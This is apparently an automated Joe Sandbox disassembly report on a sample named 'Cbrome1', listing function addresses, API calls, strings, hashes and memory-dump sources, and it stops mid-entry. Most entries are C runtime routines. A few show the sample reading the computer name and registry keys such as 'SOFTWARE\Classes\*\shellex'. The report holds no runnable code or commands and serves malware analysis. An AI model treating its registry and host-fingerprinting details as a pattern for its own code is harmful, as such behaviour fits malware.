Opcode Fuzzy Hash: 3d055b34e79a5cda464dcf1f1aea2af4a9904d0a9e2e1322d776b52311ff47c0
Instruction Fuzzy Hash: EE218D31B02B0182FB14AB51A55AB6B63B4BB55FC0F48443CAED847786DF3CDA208702

Function 0000023A29E2976C Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,0000023A29E242ED), ref: 0000023A29E29785
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,0000023A29E242ED), ref: 0000023A29E297DC
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,0000023A29E242ED), ref: 0000023A29E29817
free.LIBCMT ref: 0000023A29E29824
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,0000023A29E242ED), ref: 0000023A29E2982F
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,0000023A29E242ED), ref: 0000023A29E2983D

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide$free
String ID:
API String ID: 517548149-0
Opcode ID: e92270d1c1e25466c38415bf8e68df5b368d6513ed967c410428f0e42ef408fa
Instruction ID: ddfb1a91304048c0fa4e26c3bd93b8be21b5293120618a9a621fa1367a4dbbbd
Opcode Fuzzy Hash: e92270d1c1e25466c38415bf8e68df5b368d6513ed967c410428f0e42ef408fa
Instruction Fuzzy Hash: 9E213032A08B8086EB649F12E518A1A77F5FB99FC0F4C5028DE8A07754DF3CC661C706

Function 0000023A295E8448 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 0000023A295E8455
_errno.LIBCMT ref: 0000023A295E845D
_invalid_parameter_noinfo.LIBCMT ref: 0000023A295E8469
_errno.LIBCMT ref: 0000023A295E8492

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _errno$__doserrno_invalid_parameter_noinfo
String ID:
API String ID: 4115123133-0
Opcode ID: 6bd33e9cc88758b05f4ffe04088cbd09dc5e0fe9f91c9aa33adb7de791cfd3bc
Instruction ID: 0b4e188583fb867aa5ddc525c0ae0c7900631762910d4d282bf2a2e40b8928e6
Opcode Fuzzy Hash: 6bd33e9cc88758b05f4ffe04088cbd09dc5e0fe9f91c9aa33adb7de791cfd3bc
Instruction Fuzzy Hash: 52012C243006054FF7612BB4485E3BB33B8FB52B2AF40017CEEE1861E6D67F4A685653

Function 0000023A29E248D4 Relevance: 9.0, APIs: 6, Instructions: 37threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0000023A29E23209,?,?,?,?,0000023A29E33CCA,?,?,?,?,0000023A29E334F1), ref: 0000023A29E248DE
FlsGetValue.KERNEL32(?,?,?,0000023A29E23209,?,?,?,?,0000023A29E33CCA,?,?,?,?,0000023A29E334F1), ref: 0000023A29E248EC
SetLastError.KERNEL32(?,?,?,0000023A29E23209,?,?,?,?,0000023A29E33CCA,?,?,?,?,0000023A29E334F1), ref: 0000023A29E24944

Part of subcall function 0000023A29E2537C: Sleep.KERNEL32(?,?,ceil,0000023A29E24907,?,?,?,0000023A29E23209,?,?,?,?,0000023A29E33CCA), ref: 0000023A29E253C1

FlsSetValue.KERNEL32(?,?,?,0000023A29E23209,?,?,?,?,0000023A29E33CCA,?,?,?,?,0000023A29E334F1), ref: 0000023A29E24918
free.LIBCMT ref: 0000023A29E2493B

Part of subcall function 0000023A29E2481C: _lock.LIBCMT ref: 0000023A29E24870
Part of subcall function 0000023A29E2481C: _lock.LIBCMT ref: 0000023A29E2488F

GetCurrentThreadId.KERNEL32 ref: 0000023A29E2492C

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: ErrorLastValue_lock$CurrentSleepThreadfree
String ID:
API String ID: 3106088686-0
Opcode ID: 6ebd17abd531518c99cd0e2d202aae095663125e7d7d49137b697db85a716716
Instruction ID: 06f9ca408087afe5a7addc7a51f7b0908273b68ffbe21c1b0a3b03b861dcbc3e
Opcode Fuzzy Hash: 6ebd17abd531518c99cd0e2d202aae095663125e7d7d49137b697db85a716716
Instruction Fuzzy Hash: E501883160574146FB045F66E45CB2A22B1BF88FA0F5C423CDEA9073D1EE3CC6648206

Function 0000023A295F1350 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 224COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000023A295F1381
_getptd.LIBCMT ref: 0000023A295F139F
_CallSETranslator.LIBCMT ref: 0000023A295F13E7

Part of subcall function 0000023A295F0340: _getptd.LIBCMT ref: 0000023A295F0367

Strings

MOC, xrefs: 0000023A295F13B5
RCC, xrefs: 0000023A295F13BD

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _getptd$CallTranslator
String ID: MOC$RCC
API String ID: 3569367362-2084237596
Opcode ID: a6f955ceb13d2aead7e47fc715c960d9cbe24e492db051bcc867407ba1bb340d
Instruction ID: 5448417a5e7411f96c0ded587e023b295bff08a605dd3367bfa30b9df45c7ae6
Opcode Fuzzy Hash: a6f955ceb13d2aead7e47fc715c960d9cbe24e492db051bcc867407ba1bb340d
Instruction Fuzzy Hash: B471C430218B098EE764EF54C4097EAB3F1FB92724F540A6ED885C3546DB78A669C783

Function 0000023A29E31998 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 143COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000023A29E319C9

Part of subcall function 0000023A29E24958: _amsg_exit.LIBCMT ref: 0000023A29E2496E

_getptd.LIBCMT ref: 0000023A29E319E7
_CallSETranslator.LIBCMT ref: 0000023A29E31A2F

Part of subcall function 0000023A29E30988: _getptd.LIBCMT ref: 0000023A29E309AF

Strings

MOC, xrefs: 0000023A29E319FD
RCC, xrefs: 0000023A29E31A05

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _getptd$CallTranslator_amsg_exit
String ID: MOC$RCC
API String ID: 1374396951-2084237596
Opcode ID: a6f955ceb13d2aead7e47fc715c960d9cbe24e492db051bcc867407ba1bb340d
Instruction ID: 61a5effd4663b05a76d15958e63c0b9a2613f236ab70632f1c33271447fb97c9
Opcode Fuzzy Hash: a6f955ceb13d2aead7e47fc715c960d9cbe24e492db051bcc867407ba1bb340d
Instruction Fuzzy Hash: B6617E72604B8586DA60DB15D088BBEB3B8FB81F89F48452EDF8D47685DB7CC261C706

Function 0000023A29E31511 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 0000023A29E31564
_getptd.LIBCMT ref: 0000023A29E31519

Part of subcall function 0000023A29E24958: _amsg_exit.LIBCMT ref: 0000023A29E2496E

_getptd.LIBCMT ref: 0000023A29E315DB
_getptd.LIBCMT ref: 0000023A29E315E7

Strings

csm, xrefs: 0000023A29E3159B

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _getptd$ExceptionRaise_amsg_exit
String ID: csm
API String ID: 4155239085-1018135373
Opcode ID: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction ID: a15f3a96a35cf6819e2c99d51dcb4445eae2164310661b0ef463f64dea3a6360
Opcode Fuzzy Hash: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction Fuzzy Hash: 28315E3610474182E630DF12E048BAFB3B4F745BA5F094229DEEA03B91DB3DDA55CB05

Function 0000023A29E223A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 0000023A29E223FF
lstrcpy.KERNEL32 ref: 0000023A29E22415
wsprintfA.USER32 ref: 0000023A29E22444

Strings

UnKnow, xrefs: 0000023A29E22409
SOFTWARE\%sW\, xrefs: 0000023A29E22435

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: 25c50ad494a74fd68276a52b2ad7a8bf00471c7cb4c17d8fbebd1e3e914b1a27
Instruction ID: 523e0e64fcbcd302d1da1e61aea8513cfce5e1708ffd5062e764e176f6380996
Opcode Fuzzy Hash: 25c50ad494a74fd68276a52b2ad7a8bf00471c7cb4c17d8fbebd1e3e914b1a27
Instruction Fuzzy Hash: B2219832218B8191EB50DF20E848B9BA7B1F7D4B44F840039AACD43A59EB7DC259CB05

Function 0000023A29E222C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 0000023A29E2230D
lstrcpy.KERNEL32 ref: 0000023A29E22323
wsprintfA.USER32 ref: 0000023A29E22352

Strings

UnKnow, xrefs: 0000023A29E22317
SOFTWARE\%sW\, xrefs: 0000023A29E22343

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: 9a0f78225019bec5deb3bcd3db4271389db7be9a6f745cdf9b7e71a9e80b477f
Instruction ID: b485c696c536de63d0e1ee81ad44e846182dca35a85d3a5c2264503e0e113e1c
Opcode Fuzzy Hash: 9a0f78225019bec5deb3bcd3db4271389db7be9a6f745cdf9b7e71a9e80b477f
Instruction Fuzzy Hash: 7A115E32218A8192FB20DF11F489BAB6371F7D8B44F844029DB8D47A59EF3DC669CB01

Function 0000023A29E221D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 0000023A29E2222B
lstrcpy.KERNEL32 ref: 0000023A29E22241
wsprintfA.USER32 ref: 0000023A29E22270

Strings

UnKnow, xrefs: 0000023A29E22235
SOFTWARE\%sW\, xrefs: 0000023A29E22261

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: ce4fb7f75d1219ad2289e25997fa7daa82040d6d259ef8843f123cfa3a06188e
Instruction ID: c6f923a91bc5ba9310df2a703769cf9aa631b71ce14aa67ffa672919771aaf0e
Opcode Fuzzy Hash: ce4fb7f75d1219ad2289e25997fa7daa82040d6d259ef8843f123cfa3a06188e
Instruction Fuzzy Hash: 64115E72318A8191FB20DB11E458BAB6371F7C9B44F84002ADE8D47A65EF3DC259CB02

Function 0000023A29E1F600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 0000023A29E1F629
RegGetValueA.ADVAPI32 ref: 0000023A29E1F666
RegCloseKey.ADVAPI32 ref: 0000023A29E1F681

Strings

Start, xrefs: 0000023A29E1F64B
SOFTWARE\Classes\*\shellex, xrefs: 0000023A29E1F60B

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: CloseOpenValue
String ID: SOFTWARE\Classes\*\shellex$Start
API String ID: 779948276-205936948
Opcode ID: 0ca0d2eb96febe7c3f1de3174b521f459ddaae00c317af299b2ead55954e0038
Instruction ID: 641469ad0b074dd2e1b8738d22e38405a34f2d4a84a11a81614d6cb22f38a086
Opcode Fuzzy Hash: 0ca0d2eb96febe7c3f1de3174b521f459ddaae00c317af299b2ead55954e0038
Instruction Fuzzy Hash: 72015E71204B8586EB108B61F488A5AB3B8F788B94F440139EEDD43B68DF7CC668CB45

Function 0000023A295EB5F4 Relevance: 7.8, APIs: 5, Instructions: 268COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0000023A295EB687
free.LIBCMT ref: 0000023A295EB816
free.LIBCMT ref: 0000023A295EB822

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b43a66ac7ff6aaea2afa98109b798b6886ea9ecbd7ee844780fc29dcba4b1917
Instruction ID: feb76c2d75f34d0bebef65b2e3f1772ba9d99c6e697ff331c1c8e7dbb25c742b
Opcode Fuzzy Hash: b43a66ac7ff6aaea2afa98109b798b6886ea9ecbd7ee844780fc29dcba4b1917
Instruction Fuzzy Hash: E581C530718E084FEB59EF1DD45A7A673E1FB58701F00017EE8CAC3292DA39DA568786

Function 0000023A295D7698 Relevance: 7.7, APIs: 5, Instructions: 187COMMON

Download Yara Rule

APIs

Part of subcall function 0000023A295E2C48: malloc.LIBCMT ref: 0000023A295E2C62

std::exception::exception.LIBCMT ref: 0000023A295D775F
free.LIBCMT ref: 0000023A295D77CF
free.LIBCMT ref: 0000023A295D77E1
free.LIBCMT ref: 0000023A295D77F3
free.LIBCMT ref: 0000023A295D7805

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID:
API String ID: 4069110180-0
Opcode ID: ec827b053d5fad73fcf0492e3d2725338dc407ece077524a1dae6e7b927291dc
Instruction ID: a3e537383ae3c435eb28d42ba12e5d75b9dae3aad8af0260b77ba44aa3ab8228
Opcode Fuzzy Hash: ec827b053d5fad73fcf0492e3d2725338dc407ece077524a1dae6e7b927291dc
Instruction Fuzzy Hash: 3A51C170A14B0D8FEB18EFA9D4597EEB7B1FB18700F10013ED889D3192CA359659CB92

Function 0000023A295DCA18 Relevance: 7.7, APIs: 5, Instructions: 175COMMON

Download Yara Rule

APIs

Part of subcall function 0000023A295E2C48: malloc.LIBCMT ref: 0000023A295E2C62

std::exception::exception.LIBCMT ref: 0000023A295DCAC3
free.LIBCMT ref: 0000023A295DCB45
free.LIBCMT ref: 0000023A295DCB57
free.LIBCMT ref: 0000023A295DCB69
free.LIBCMT ref: 0000023A295DCB7B

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID:
API String ID: 4069110180-0
Opcode ID: 07180e9b4d2e60f22a41465041aba0a5742f0305ed2e05aa6cee22b514af3519
Instruction ID: 5828ee6daaa7c5266f60e98dfa8eb1241ba87c33c4e033c2a279a21bc3d46e93
Opcode Fuzzy Hash: 07180e9b4d2e60f22a41465041aba0a5742f0305ed2e05aa6cee22b514af3519
Instruction Fuzzy Hash: 0E518070614A0D8FEB59EF99D459BEE77B0FF14700F40416ED88AC3292DA35EA19C782

Function 0000023A29E2BC3C Relevance: 7.7, APIs: 5, Instructions: 168COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0000023A29E2BCCF
__free_lconv_num.LIBCMT ref: 0000023A29E2BDA3
free.LIBCMT ref: 0000023A29E2BDAF
free.LIBCMT ref: 0000023A29E2BE5E
free.LIBCMT ref: 0000023A29E2BE6A

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: free$__free_lconv_num
String ID:
API String ID: 1547021563-0
Opcode ID: c16b6f9737590003a136c8fcef27dda7f25507dba1af4cbde7d58d3b88c3e8cd
Instruction ID: a960b41a6e65b5c7dc8c4a5a6bc178c530ce0dce44e448de307a049e04e75cb9
Opcode Fuzzy Hash: c16b6f9737590003a136c8fcef27dda7f25507dba1af4cbde7d58d3b88c3e8cd
Instruction Fuzzy Hash: C461AE32A05B848AEB649F25E448B9A77B0F789F84F48503D9EC947791DB3CC662C741

Function 0000023A295E6B98 Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000023A295E6BBE
_invalid_parameter_noinfo.LIBCMT ref: 0000023A295E6BC9
_getptd.LIBCMT ref: 0000023A295E6BD5
_lock.LIBCMT ref: 0000023A295E6C0E
_lock.LIBCMT ref: 0000023A295E6CA1

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _lock$_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 2808128820-0
Opcode ID: 9f4985a2a933d0fc62c1a2c77e0ed4ea76d4ee0366b7b778643bc997e4b882e3
Instruction ID: 9ea18c43ab8bab58ecaa7456283b8d2d0b1af06b526f96b649ca893aa485b079
Opcode Fuzzy Hash: 9f4985a2a933d0fc62c1a2c77e0ed4ea76d4ee0366b7b778643bc997e4b882e3
Instruction Fuzzy Hash: 29417E30719A084FFB44EB1894597AA33E1FB88700F54457DECCAC72D3DA7A99168792

Function 0000023A29E271E0 Relevance: 7.6, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000023A29E27206
_invalid_parameter_noinfo.LIBCMT ref: 0000023A29E27211
_getptd.LIBCMT ref: 0000023A29E2721D
_lock.LIBCMT ref: 0000023A29E27256
_lock.LIBCMT ref: 0000023A29E272E9

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _lock$_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 2808128820-0
Opcode ID: f453061cc0ae8c4d2774961133183c75c1575bd9b631a75802a1a20d267780ef
Instruction ID: e82f2a696c87258bedbd8e3cd387e766767abacdbbd907bc49deb00807b7ee31
Opcode Fuzzy Hash: f453061cc0ae8c4d2774961133183c75c1575bd9b631a75802a1a20d267780ef
Instruction Fuzzy Hash: 8E418B71A0178485FB44AB21A94AFAB62B1BB49FC0F24113DED8D077D6DE3D9A218702

Function 0000023A29E2A9F4 Relevance: 7.6, APIs: 5, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,0000023A29E2ABAF), ref: 0000023A29E2AA4E
malloc.LIBCMT ref: 0000023A29E2AAB2
MultiByteToWideChar.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,0000023A29E2ABAF), ref: 0000023A29E2AAFA
GetStringTypeW.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,0000023A29E2ABAF), ref: 0000023A29E2AB11
free.LIBCMT ref: 0000023A29E2AB25

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: ByteCharMultiWide$StringTypefreemalloc
String ID:
API String ID: 307345228-0
Opcode ID: ee07f6c5636d413e7892bfcbeb0f91cdd1ccbdd2d21149ca3b3503bd82049be4
Instruction ID: 7b1754e3f833d9baa989fec1aabe04a60cfec144e01ea98286fb1d24037a2aac
Opcode Fuzzy Hash: ee07f6c5636d413e7892bfcbeb0f91cdd1ccbdd2d21149ca3b3503bd82049be4
Instruction Fuzzy Hash: 0C416772A01B4086FB109F65D804A5A63E5FB48FB8F5C4639EEAD477D5DB3CC5118701

Function 0000023A29E333D8 Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

_ctrlfp.LIBCMT ref: 0000023A29E33419
_exception_enabled.LIBCMT ref: 0000023A29E3343C

Part of subcall function 0000023A29E3331C: _set_statfp.LIBCMT ref: 0000023A29E33343
Part of subcall function 0000023A29E3331C: _set_statfp.LIBCMT ref: 0000023A29E333B6

_raise_exc.LIBCMT ref: 0000023A29E33488
_ctrlfp.LIBCMT ref: 0000023A29E334C8
_ctrlfp.LIBCMT ref: 0000023A29E334F9

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _ctrlfp$_set_statfp$_exception_enabled_raise_exc
String ID:
API String ID: 3456427917-0
Opcode ID: 12a622c847374f3166387e9d70a91a980054b998477e05dec9cd0e20066f5fc0
Instruction ID: cf39e2857562ce26e1792c229646a1bee478849f1916b5ad3abe4c3a10436ce3
Opcode Fuzzy Hash: 12a622c847374f3166387e9d70a91a980054b998477e05dec9cd0e20066f5fc0
Instruction Fuzzy Hash: 78318E32614B848AE711DF24E805AABB774F7C5B88F441229FE890BA59DB3CC551CB00

Function 0000023A29E23E80 Relevance: 7.6, APIs: 5, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL ref: 0000023A29E23EA9
RtlDecodePointer.NTDLL ref: 0000023A29E23EB9

Part of subcall function 0000023A29E2846C: _errno.LIBCMT ref: 0000023A29E28475
Part of subcall function 0000023A29E2846C: _invalid_parameter_noinfo.LIBCMT ref: 0000023A29E28480

RtlEncodePointer.NTDLL ref: 0000023A29E23F37

Part of subcall function 0000023A29E25400: realloc.LIBCMT ref: 0000023A29E2542B
Part of subcall function 0000023A29E25400: Sleep.KERNEL32(?,?,00000000,0000023A29E23F27,?,?,?,0000023A29E23F95,?,?,?,?,0000023A29E2330B), ref: 0000023A29E25447

RtlEncodePointer.NTDLL ref: 0000023A29E23F47
RtlEncodePointer.NTDLL ref: 0000023A29E23F54

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Pointer$Encode$Decode$Sleep_errno_invalid_parameter_noinforealloc
String ID:
API String ID: 1909145217-0
Opcode ID: 78e45ef783413b217608e0a16efdd3366037ad4d8c45b9786596f5e959a3f801
Instruction ID: e32b7a0e97147b77b4be74db22493335826fa8a40f1f037c930323e3363359d3
Opcode Fuzzy Hash: 78e45ef783413b217608e0a16efdd3366037ad4d8c45b9786596f5e959a3f801
Instruction Fuzzy Hash: 16217A31B06B4081FA009B51F95CAABA3B1B788F80F585439ED9E47395EF7CC665C706

Function 0000023A29E298D0 Relevance: 7.5, APIs: 5, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 0000023A29E29907
GetCurrentProcessId.KERNEL32 ref: 0000023A29E29912
GetCurrentThreadId.KERNEL32 ref: 0000023A29E2991E
GetTickCount.KERNEL32 ref: 0000023A29E2992A
QueryPerformanceCounter.KERNEL32 ref: 0000023A29E2993B

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 3fc3725ca8a288ac075f2860f78d41a9700cbea2c759c06011dc5ba40e0d3bd0
Instruction ID: 24e92022f5d09733a12741b0be4f19ddaf81e2839caace0eb9ece7780e062c96
Opcode Fuzzy Hash: 3fc3725ca8a288ac075f2860f78d41a9700cbea2c759c06011dc5ba40e0d3bd0
Instruction Fuzzy Hash: E3015E31228B0085E7408F21E94876663B4FB59F90F486638DEAE477A0DA3CCAA58705

Function 0000023A29E1E600 Relevance: 7.5, APIs: 5, Instructions: 37sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32 ref: 0000023A29E1E625
WaitForSingleObject.KERNEL32 ref: 0000023A29E1E635
CloseHandle.KERNEL32 ref: 0000023A29E1E642
Sleep.KERNEL32 ref: 0000023A29E1E64D
CloseHandle.KERNEL32 ref: 0000023A29E1E673

Memory Dump Source

